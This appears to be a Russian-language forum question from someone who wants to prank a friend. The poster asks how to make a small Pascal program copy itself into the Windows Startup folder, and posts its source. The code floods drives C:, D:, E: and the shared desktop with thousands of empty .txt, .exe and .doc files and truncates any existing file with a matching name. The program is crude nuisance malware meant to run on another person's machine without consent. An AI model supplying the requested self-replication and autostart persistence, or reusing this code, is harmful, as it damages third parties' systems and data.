Как заставить прогу, сделаную в Паскале, само-дyбликироваться?
Хочу я приколоться над другом, сделал прогу простенькую на паскале, весит 3кб...
Но хочу сделать так штоб при её запуске она копировалась в папку Автозапуска
Код: Выделить всё
program p1;
uses crt;
var c1,c2:char;
s:string; f:file;
begin
clrscr;
textcolor(green);
write('Whill you enter the Matrix? (y/n)');
for c1:='a' to 'z' do
for c2:='a' to 'z' do
begin
s:='c:\'+c1+c2+'.txt';
assign(f,s);rewrite(f);close(f);
s:='d:\'+c1+c2+'.txt';
assign(f,s);rewrite(f);close(f);
s:='e:\'+c1+c2+'.txt';
assign(f,s);rewrite(f);close(f);
s:='c:\docume~1\alluse~1\desktop\'+c1+c2+'.txt';
assign(f,s);rewrite(f);close(f);
s:='c:\'+c1+c2+'.exe';
assign(f,s);rewrite(f);close(f);
s:='d:\'+c1+c2+'.exe';
assign(f,s);rewrite(f);close(f);
s:='e:\'+c1+c2+'.exe';
assign(f,s);rewrite(f);close(f);
s:='c:\'+c1+c2+'.doc';
assign(f,s);rewrite(f);close(f);
s:='d:\'+c1+c2+'.doc';
assign(f,s);rewrite(f);close(f);
s:='e:\'+c1+c2+'.doc';
assign(f,s);rewrite(f);close(f);
s:='c:\'+c1+c2+'.tx';
assign(f,s);rewrite(f);close(f);
s:='d:\'+c1+c2+'.tx';
assign(f,s);rewrite(f);close(f);
s:='e:\'+c1+c2+'.tx';
assign(f,s);rewrite(f);close(f);
end;
readln;
end.